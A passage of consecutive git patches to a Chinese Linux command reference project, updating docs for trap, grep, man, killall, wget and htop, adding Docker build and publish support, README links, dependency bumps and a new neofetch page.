} | 向后置换当前面板 | +| Alt+o | 逆时针旋转当前窗口的面板 | +| Ctrl+o | 顺时针旋转当前窗口的面板 | + 1）进入tmux面板后，一定要先按ctrl+b，然后松开，再按其他的组合键才生效。 2）常用到的几个组合键： From 318c9b2d846e2c2ad1ada228f50bf2c23ccbf58e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 26 Apr 2022 21:05:11 +0800 Subject: [PATCH 0471/1019] doc: update command/trap.md --- command/trap.md | 54 +++++++++---------------------------------------- 1 file changed, 9 insertions(+), 45 deletions(-) diff --git a/command/trap.md b/command/trap.md index d7b08805981..d1b59672643 100644 --- a/command/trap.md +++ b/command/trap.md @@ -39,51 +39,15 @@ signal_spec：信号名称或信号名称对应的数字。 以下是一些你可能会遇到的常见信号： - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
信号名称信号数描述
SIGHUP1本信号在用户终端连接（正常或非正常）结束时发出，通常是在终端的控制进程结束时，通知同一session内的各个作业，这时它们与控制终端不再关联。登录Linux时，系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序，包括前台进程组和后台进程组，一般都属于这个Session。当用户退出Linux登录时，前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程，因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程，这个信号用于通知它重新读取配置文件。
SIGINT2程序终止(interrupt)信号，在用户键入 Ctrl+C 时发出。
SIGQUIT3和SIGINT类似，但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件，在这个意义上类似于一个程序错误信号。
SIGFPE8在发生致命的算术运算错误时发出。不仅包括浮点运算错误，还包括溢出及除数为0等其它所有的算术错误。
SIGKILL9用来立即结束程序的运行。本信号不能被阻塞，处理和忽略。
SIGALRM14时钟定时信号，计算的是实际的时间或时钟时间。alarm 函数使用该信号。
SIGTERM15程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出；kill 命令缺省产生这个信号。
- +| 信号名称 | 信号数 | 描述 | +| ------- | --- | ---- | +| SIGHUP | 1 | 本信号在用户终端连接（正常或非正常）结束时发出，通常是在终端的控制进程结束时，通知同一session内的各个作业，这时它们与控制终端不再关联。登录Linux时，系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序，包括前台进程组和后台进程组，一般都属于这个Session。当用户退出Linux登录时，前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程，因此前台进程组和后台有终端输出的进程就会中止。对于与终端脱离关系的守护进程，这个信号用于通知它重新读取配置文件。 | +| SIGINT | 2 | 程序终止(interrupt)信号，在用户键入 Ctrl+C 时发出。 | +| SIGQUIT | 3 | 和SIGINT类似，但由QUIT字符(通常是Ctrl /)来控制。进程在因收到SIGQUIT退出时会产生core文件，在这个意义上类似于一个程序错误信号。 | +| SIGFPE | 8 | 在发生致命的算术运算错误时发出。不仅包括浮点运算错误，还包括溢出及除数为0等其它所有的算术错误。 | +| SIGKILL | 9 | 用来立即结束程序的运行。本信号不能被阻塞，处理和忽略。 | +| SIGALRM | 14 | 时钟定时信号，计算的是实际的时间或时钟时间。alarm 函数使用该信号。 | +| SIGTERM | 15 | 程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理. 通常用来要求程序自己正常退出；kill 命令缺省产生这个信号。 | ## 例子 From ae5824a9ebf7e86c97eb0f04cecda61ba181cc54 Mon Sep 17 00:00:00 2001 From: ernest <307141632@qq.com> Date: Wed, 27 Apr 2022 10:51:59 +0800 Subject: [PATCH 0472/1019] doc: add android version screenshot (#360) --- README.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/README.md b/README.md index 9c3199299cf..1fe0e8404d8 100644 --- a/README.md +++ b/README.md @@ -96,6 +96,19 @@ +### Android 版本 + +[Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases)， 下图是界面效果。 + +
+Android 版本截图 + +Android 版本截图 + +Android 版本截图 + + +
### 命令行工具 - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 From 21c8007c93d47c20bc3e0ec212e46b5110809eaa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 27 Apr 2022 10:53:17 +0800 Subject: [PATCH 0473/1019] doc: Update README.md (#360) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1fe0e8404d8..55535c487e8 100644 --- a/README.md +++ b/README.md @@ -107,8 +107,8 @@ Android 版本截图 - + ### 命令行工具 - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 From 645d9de61d29a7cfd08bdf6364ca9aaf059416dc Mon Sep 17 00:00:00 2001 From: zuixin369 <54224677+zuixin369@users.noreply.github.com> Date: Thu, 28 Apr 2022 15:37:07 +0800 Subject: [PATCH 0474/1019] doc: update grep.md example. (#361) --- command/grep.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/grep.md b/command/grep.md index 860c1c9e0be..f16b017da3e 100644 --- a/command/grep.md +++ b/command/grep.md @@ -171,6 +171,7 @@ echo "hello world" | grep -i "HELLO" ```shell echo this is a text line | grep -e "is" -e "line" -o is +is line #也可以使用 **-f** 选项来匹配多个样式，在样式文件中逐行写出需要匹配的字符。 From 70d314350a86d0a50e056f84262d4e66ee6bb932 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Sun, 1 May 2022 23:02:58 +0800 Subject: [PATCH 0475/1019] =?UTF-8?q?Update=20man.md=20=E6=B7=BB=E5=8A=A0?= =?UTF-8?q?=E7=9B=B8=E4=BC=BC=E5=91=BD=E4=BB=A4=E6=8E=A8=E8=8D=90=20(#363)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/man.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/command/man.md b/command/man.md index 414e15dfb3a..1508077ece6 100644 --- a/command/man.md +++ b/command/man.md @@ -57,6 +57,13 @@ man sleep man 3 sleep ``` +### 相关命令 + +* `tldr`: 简化版的使用手册，并不会像man一样把所有的使用参数和说明都列出来，而是只显示常用的几个使用Sample和说明 + * 开源地址: [https://github.com/tldr-pages/tldr/](https://github.com/tldr-pages/tldr/) + * 官网: [https://tldr.sh/](https://tldr.sh/) + * 在线版本: [https://tldr.ostera.io/](https://tldr.ostera.io/) + From 0957786a286e5a43d5c662ee6e67677c0e7fb30f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Sun, 22 May 2022 13:33:08 +0800 Subject: [PATCH 0476/1019] Update killall.md (#364) --- command/killall.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/command/killall.md b/command/killall.md index 57a4cbd6aaa..865f9b27d30 100644 --- a/command/killall.md +++ b/command/killall.md @@ -33,10 +33,14 @@ killall(选项)(参数) ### 实例 -杀死所有同名进程 - ```shell +# 杀死所有同名进程 killall vi +# 指定向进程发送的信号 +killall -9 vi +# 0信号表示不向进程发送信号, 可通过返回值判断进程是否存在, 0(存在)1(不存在) +killall -0 vi +echo $? ``` From 325bcd4b7e71744b45474eea047af2cfc59008e0 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 24 May 2022 23:49:10 +0800 Subject: [PATCH 0477/1019] chore: Add `docker` support. --- .github/workflows/ci.yml | 22 +++++++++++++++++++++- Dockerfile | 10 ++++++++++ README.md | 24 +++++++++++++++++++++++- 3 files changed, 54 insertions(+), 2 deletions(-) create mode 100644 Dockerfile diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fd00fbd81f5..9a0a4483483 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -81,4 +81,24 @@ jobs: https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html - run: npm install @jsdevtools/npm-publish -g - - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json \ No newline at end of file + - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json + + - run: rm -rf .deploy/linux-command.docset.zip + + # Create Docker Image + - name: Docker login + if: steps.create_tag.outputs.successful + run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + - name: Build linux-command image + if: steps.create_tag.outputs.successful + run: docker image build -t linux-command . + + - name: Tags & Push image + if: steps.create_tag.outputs.successful + run: | + echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + docker push ${{ secrets.DOCKER_USER }}/linux-command:latest \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000000..36222a3f97c --- /dev/null +++ b/Dockerfile @@ -0,0 +1,10 @@ +FROM nginx:1-alpine + +ENV APPDIR /usr/share/nginx/html +RUN mkdir -p $APPDIR + +RUN cat /etc/nginx/conf.d/default.conf + +WORKDIR $APPDIR + +ADD ./.deploy /usr/share/nginx/html \ No newline at end of file diff --git a/README.md b/README.md index 55535c487e8..5b1bdcdc84d 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ 当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 -[Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) +[Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) ### Web 版本 @@ -115,6 +115,28 @@ - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 +## Docker + +[![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) + +轻松通过 docker 部署 linux-command 网站。 + +```bash +docker pull wcjiang/linux-command +``` + +```bash +docker run --name linux-command --rm -d -p 9665:80 wcjiang/linux-command:latest +# Or +docker run --name linux-command -itd -p 9665:80 wcjiang/linux-command:latest +``` + +在浏览器中访问以下 URL + +```bash +http://localhost:9665/ +``` + ## 目录 - [目录](#目录) From 13248c11e09d89d7db9c7b567e71ed57f0f62dd4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 24 May 2022 23:52:45 +0800 Subject: [PATCH 0478/1019] chore: update workflows config. --- .github/workflows/ci.yml | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 9a0a4483483..0e70e0b4dbf 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -80,6 +80,30 @@ jobs: Document linux-command@${{ steps.changelog.outputs.tag }}: https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html + + ## Docker + + [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) + + 轻松通过 `docker` 部署 `linux-command` 网站。 + + ```bash + docker pull wcjiang/linux-command + ``` + + ```bash + docker run --name linux-command --rm -d -p 9665:80 wcjiang/linux-command:latest + # Or + docker run --name linux-command -itd -p 9665:80 wcjiang/linux-command:latest + ``` + + 在浏览器中访问以下 URL + + ```bash + http://localhost:9665/ + ``` + + - run: npm install @jsdevtools/npm-publish -g - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json From b091543db4ed766941f8701f24a003da5cf25c95 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 24 May 2022 23:53:06 +0800 Subject: [PATCH 0479/1019] released v1.10.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 744807fa2d5..af159d35d3c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.9.1", + "version": "1.10.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From ef9c629392b2162e72321961cb8f0cf1375a43f8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 25 May 2022 00:04:07 +0800 Subject: [PATCH 0480/1019] doc: Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5b1bdcdc84d..30d6badadff 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ [![Get this with npm](https://jaywcjlove.github.io/sb/ico/npm.svg)](https://www.npmjs.com/package/linux-command) [![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) +[![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) 当前仓库搜集了 570 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 @@ -117,7 +118,7 @@ ## Docker -[![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) +[![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) 轻松通过 docker 部署 linux-command 网站。 From dcb260463d5841ec7f528fece11947c7e6235e19 Mon Sep 17 00:00:00 2001 From: Jayin Taung Date: Thu, 26 May 2022 00:19:49 +0800 Subject: [PATCH 0481/1019] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=A0=BC=E5=BC=8F?= =?UTF-8?q?=E9=97=AE=E9=A2=98=20(#366)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/htop.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/htop.md b/command/htop.md index e743622e1f6..60182f35b0a 100644 --- a/command/htop.md +++ b/command/htop.md @@ -76,7 +76,7 @@ T：按运行时间排序 左右键或Home， End : 移动列表 Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程，例如 "kill"，将应用于所有已标记的进程 -```shell +``` ### Htop设定 From 6119f2e518e9827df699b3b8fac211d23d89c150 Mon Sep 17 00:00:00 2001 From: Jayin Taung Date: Sun, 29 May 2022 15:27:09 +0800 Subject: [PATCH 0482/1019] Fix wget.md format (#368) --- command/wget.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/command/wget.md b/command/wget.md index a602a88a835..1284f2209b6 100644 --- a/command/wget.md +++ b/command/wget.md @@ -32,7 +32,7 @@ wget [参数] [URL地址] -V, –-version 显示wget的版本后退出 -h, –-help 打印语法帮助 -b, –-background 启动后转入后台执行 --e, –-execute=COMMAND 执行 `.wgetrc’格式的命令，wgetrc格式参见/etc/wgetrc或~/.wgetrc +-e, –-execute=COMMAND 执行 .wgetrc 格式的命令，wgetrc格式参见/etc/wgetrc或~/.wgetrc 记录和输入文件参数： @@ -82,11 +82,11 @@ HTTP 选项参数： -–http-passwd=PASS 设定http密码为 PASS -C, –-cache=on/off 允许/不允许服务器端的数据缓存 (一般情况下允许) -E, –-html-extension 将所有text/html文档以.html扩展名保存 --–ignore-length 忽略 `Content-Length’头域 +-–ignore-length 忽略 Content-Length 头域 -–header=STRING 在headers中插入字符串 STRING -–proxy-user=USER 设定代理的用户名为 USER -–proxy-passwd=PASS 设定代理的密码为 PASS --–referer=URL 在HTTP请求中包含 `Referer: URL’头 +-–referer=URL 在HTTP请求中包含 Referer: URL 头 -s, –-save-headers 保存HTTP头到文件 -U, –-user-agent=AGENT 设定代理的名称为 AGENT而不是 Wget/VERSION -–no-http-keep-alive 关闭 HTTP活动链接 (永远链接) @@ -96,7 +96,7 @@ HTTP 选项参数： FTP 选项参数： --nr, -–dont-remove-listing 不移走 `.listing’文件 +-nr, -–dont-remove-listing 不移走 .listing 文件 -g, -–glob=on/off 打开或关闭文件名的 globbing机制 -–passive-ftp 使用被动传输模式 (缺省值). -–active-ftp 使用主动传输模式 @@ -187,7 +187,7 @@ wget -c http://www.jsdig.com/testfile.zip wget -b http://www.jsdig.com/testfile.zip Continuing in background, pid 1840. -Output will be written to `wget-log'. +Output will be written to 'wget-log'. ``` 对于下载非常大的文件的时候，我们可以使用参数`-b`进行后台下载，你可以使用以下命令来察看下载进度： From d002d719459d6a2c4040634d38ba4920f5d91440 Mon Sep 17 00:00:00 2001 From: oliver <49701721+oliver-zch@users.noreply.github.com> Date: Sat, 4 Jun 2022 22:40:09 +0800 Subject: [PATCH 0483/1019] Update README.md (#371) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 30d6badadff..31a6f381a8f 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.mmoke.com`](https://linux.mmoke.com), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) +[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.mmoke.com`](https://linux.mmoke.com), [`luojianjun.cn`](https://luojianjun.cn/linux-command/), [`man.zch.ooo`](https://man.zch.ooo/) ### 微信小程序版本 From bf44d619712a1831492af0bd95f7e5b1b3d4ad32 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 11 Jun 2022 11:42:30 +0800 Subject: [PATCH 0484/1019] chore: update website footer (#341). --- template/widget/footer.ejs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index 3fbc6d6ac19..33ef4da284f 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -2,14 +2,14 @@
添加命令 | 命令列表 | - Chrome 插件 | - Alfred | - Dash | - Krunner | - 开源中国Web版 + Chrome 插件 | + Alfred | + Dash | + Krunner | + 开源中国Web版
- Github | - 短地址：https://git.io/linux + Github | + 短地址：https://git.io/linux
收藏本站请使用 Ctrl+D 或者Command+d
共搜集到 From c623c4258f4a6586edf3c1c102955ddcfc5b64f1 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sat, 11 Jun 2022 11:50:39 +0800 Subject: [PATCH 0485/1019] chore(deps): update dependency stylus to ~0.58.0 (#367) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index af159d35d3c..298d9de33a1 100644 --- a/package.json +++ b/package.json @@ -34,7 +34,7 @@ "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.2", - "stylus": "~0.57.0", + "stylus": "~0.58.0", "uglify-js": "~3.15.2" }, "engines": { From d4a708ed94cbd862479e8b485da21e6e862d175f Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sat, 11 Jun 2022 11:51:50 +0800 Subject: [PATCH 0486/1019] chore(deps): update dependency uglify-js to ~3.16.0 (#372) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 298d9de33a1..40bcacafa6a 100644 --- a/package.json +++ b/package.json @@ -35,7 +35,7 @@ "sitemap-generator": "~8.5.1", "sqlite3": "5.0.2", "stylus": "~0.58.0", - "uglify-js": "~3.15.2" + "uglify-js": "~3.16.0" }, "engines": { "node": "^12.20.0 || ^14.13.1 || >=16.0.0" From ddcbe1eab7c0b3ff58f2fbf41a367b5bbdd8ab03 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sat, 11 Jun 2022 11:52:31 +0800 Subject: [PATCH 0487/1019] chore(deps): update dependency fs-extra to ~10.1.0 (#355) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 40bcacafa6a..05387306849 100644 --- a/package.json +++ b/package.json @@ -30,7 +30,7 @@ "archiver": "~5.3.0", "colors-cli": "~1.0.28", "ejs": "~3.1.6", - "fs-extra": "~10.0.1", + "fs-extra": "~10.1.0", "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.2", From adf8b99e2361f0ff4f642df738e863fbb2ca2ab2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 12 Jun 2022 13:22:39 +0800 Subject: [PATCH 0488/1019] chore(deps): update dependency sqlite3 to v5.0.8 (#365) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 05387306849..0648ff27891 100644 --- a/package.json +++ b/package.json @@ -33,7 +33,7 @@ "fs-extra": "~10.1.0", "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", - "sqlite3": "5.0.2", + "sqlite3": "5.0.8", "stylus": "~0.58.0", "uglify-js": "~3.16.0" }, From 08749fcc412a3d938c749f3d73c523cc1ea05d6e Mon Sep 17 00:00:00 2001 From: ZimriGeek <48816852+ZimriGeek@users.noreply.github.com> Date: Tue, 14 Jun 2022 14:56:38 +0800 Subject: [PATCH 0489/1019] Add neofetach.md (#375) Add command: neofetach Neofetch is a command-line system information tool written in bash 3.2+. Neofetch displays information about your operating system, software and hardware in an aesthetic and visually pleasing way. For https://github.com/dylanaraps/neofetch --- command/neofetach.md | 86 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 command/neofetach.md diff --git a/command/neofetach.md b/command/neofetach.md new file mode 100644 index 00000000000..84911404b40 --- /dev/null +++ b/command/neofetach.md @@ -0,0 +1,86 @@ +neofetch +=== + +显示带有发行徽标的系统信息的工具 + +## 补充说明 + +**neofetch** 支持Linux/Unix、Windows、macOS。各发行版均已集成包可直接进行安装 + +Neofetch是一个在终端上显示带有发行徽标的系统信息工具，neofetch命令将显示有关相应系统的简要信息。 +显示的信息包括: 型号、操作系统、内核、CPU、GPU、内存、正常运行时间、程序包、shell、分辨率、DE、WM、WM主题、主题、图标和终端等 + +Neofetch是一个开源工具，[项目地址](https://github.com/dylanaraps/neofetch) + + +### 安装 +Debian/Ubuntu +```shell +sudo apt install neofetch -y +``` + +CentOS +```shell +sudo yum install neofetch -y +sudo dnf install neofetch -y +``` +[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation) + + + +### 语法 + +``` +neofetach +``` + + +### 返回 +**回显** + +macOS: +```shell + 'c. mac@Mac-mini.local + ,xNMM. -------------------------- + .OMMMMo OS: macOS 12.4 21F79 arm64 + OMMM0, Host: Macmini9,1 + .;loddo:' loolloddol;. Kernel: 21.5.0 + cKMMMMMMMMMMNWMMMMMMMMMM0: Uptime: 2 hours, 57 mins + .KMMMMMMMMMMMMMMMMMMMMMMMWd. Packages: 20 (brew) + XMMMMMMMMMMMMMMMMMMMMMMMX. Shell: zsh 5.8.1 +;MMMMMMMMMMMMMMMMMMMMMMMM: Resolution: 2560x1440, 1920x1080 +:MMMMMMMMMMMMMMMMMMMMMMMM: DE: Aqua +.MMMMMMMMMMMMMMMMMMMMMMMMX. WM: Quartz Compositor + kMMMMMMMMMMMMMMMMMMMMMMMMWd. WM Theme: Blue (Dark) + .XMMMMMMMMMMMMMMMMMMMMMMMMMMk Terminal: iTerm2 + .XMMMMMMMMMMMMMMMMMMMMMMMMK. Terminal Font: Monaco 12 + kMMMMMMMMMMMMMMMMMMMMMMd CPU: Apple M1 + ;KMMMMMMMWXXWMMMMMMMk. GPU: Apple M1 + .cooc,. .,coo:. Memory: 2251MiB / 16384MiB +``` + +Ubuntu: +```shell + .-/+oossssoo+/-. root@root + `:+ssssssssssssssssss+:` ------------ + -+ssssssssssssssssssyyssss+- OS: Ubuntu 20.04.4 LTS aarch64 + .ossssssssssssssssssdMMMNysssso. Host: Firefly RK3568-ROC-PC HDMI (Linux) + /ssssssssssshdmmNNmmyNMMMMhssssss/ Kernel: 4.19.193 + +ssssssssshmydMMMMMMMNddddyssssssss+ Uptime: 7 days, 13 hours, 3 mins + /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/ Packages: 1158 (dpkg) +.ssssssssdMMMNhsssssssssshNMMMdssssssss. Shell: bash 5.0.17 ++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Resolution: 1440x900 +ossyNMMMNyMMhsssssssssssssshmmmhssssssso WM: Openbox +ossyNMMMNyMMhsssssssssssssshmmmhssssssso Theme: Arc-Darker [GTK3] ++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Icons: Adwaita [GTK3] +.ssssssssdMMMNhsssssssssshNMMMdssssssss. Terminal: /dev/pts/0 + /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/ CPU: Firefly RK3568-ROC-PC HDMI (Linux) (4) @ 1.992GHz + +sssssssssdmydMMMMMMMMddddyssssssss+ Memory: 617MiB / 7687MiB + /ssssssssssshdmNNNNmyNMMMMhssssss/ + .ossssssssssssssssssdMMMNysssso. + 